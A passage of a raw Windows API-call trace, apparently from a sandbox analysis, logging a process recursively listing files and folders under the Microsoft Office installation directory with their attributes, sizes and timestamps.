lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xca60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB10.BDR", cAlternateFileName="")) returned 1 [0042.865] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0042.866] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0042.866] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aef100, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aef100, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xddf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0042.866] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0042.866] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0042.868] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.869] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCSBAR.POC", cAlternateFileName="")) returned 1 [0042.882] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0042.882] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0042.882] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1 [0042.883] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0042.883] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.191] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.192] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49110e00, ftCreationTime.dwHighDateTime=0x1bf97c1, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49110e00, ftLastWriteTime.dwHighDateTime=0x1bf97c1, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Currency Rates.iqy", cAlternateFileName="MSNMON~1.IQY")) returned 1 [0043.198] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.202] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0043.203] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xc568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECALL.DLL", cAlternateFileName="")) returned 1 [0043.210] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0043.524] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.524] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0043.524] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39206e0 [0043.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0043.526] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.526] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x176f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.GIF", cAlternateFileName="")) returned 1 [0043.526] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7886800, ftCreationTime.dwHighDateTime=0x1c05f78, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7886800, ftLastWriteTime.dwHighDateTime=0x1c05f78, nFileSizeHigh=0x0, nFileSizeLow=0x224, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.HTM", cAlternateFileName="")) returned 1 [0043.526] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DADSHIRT.GIF", cAlternateFileName="")) returned 1 [0043.526] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a1a8100, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a1a8100, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DADSHIRT.HTM", cAlternateFileName="")) returned 1 [0043.526] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fc900, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fc900, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xd36, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUDGESCH.GIF", cAlternateFileName="")) returned 1 [0043.526] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33233200, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33233200, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUDGESCH.HTM", cAlternateFileName="")) returned 1 [0043.527] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a0f600, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a0f600, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xfc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUNGLE.GIF", cAlternateFileName="")) returned 1 [0043.527] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48985c00, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48985c00, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUNGLE.HTM", cAlternateFileName="")) returned 1 [0043.527] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3d4500, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e3d4500, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEBOOK.HTM", cAlternateFileName="")) returned 1 [0043.527] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad22300, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad22300, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEBOOK.JPG", cAlternateFileName="")) returned 1 [0043.527] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad22300, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad22300, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x1202, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFISUPP.GIF", cAlternateFileName="")) returned 1 [0043.527] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa331b800, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa331b800, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFISUPP.HTM", cAlternateFileName="")) returned 1 [0043.527] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfead0800, ftCreationTime.dwHighDateTime=0x1bdaedd, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfead0800, ftLastWriteTime.dwHighDateTime=0x1bdaedd, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAWPRINT.GIF", cAlternateFileName="")) returned 1 [0043.528] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3a6900, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc3a6900, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAWPRINT.HTM", cAlternateFileName="")) returned 1 [0043.528] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9575800, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9575800, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PINELUMB.HTM", cAlternateFileName="")) returned 1 [0043.528] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0043.529] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39206e0 | out: hHeap=0x4b0000) returned 1 [0043.529] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0043.529] FindClose (in: hFindFile=0x3ec0130 | out: hFindFile=0x3ec0130) returned 1 [0043.529] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4b0000) returned 1 [0043.529] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0043.529] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0043.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0130 [0043.529] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.529] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0043.529] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39206e0 [0043.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0043.531] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.532] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0043.532] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fa1898 [0043.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0043.534] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.534] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2355ff00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2355ff00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xfd04e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets.accdt", cAlternateFileName="ASSETS~1.ACC")) returned 1 [0043.535] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0043.535] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.536] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.537] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2224d200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2224d200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1141, dwReserved0=0x0, dwReserved1=0x0, cFileName="Address.accft", cAlternateFileName="ADDRES~1.ACC")) returned 1 [0043.537] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.538] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0043.538] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcad4b00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, 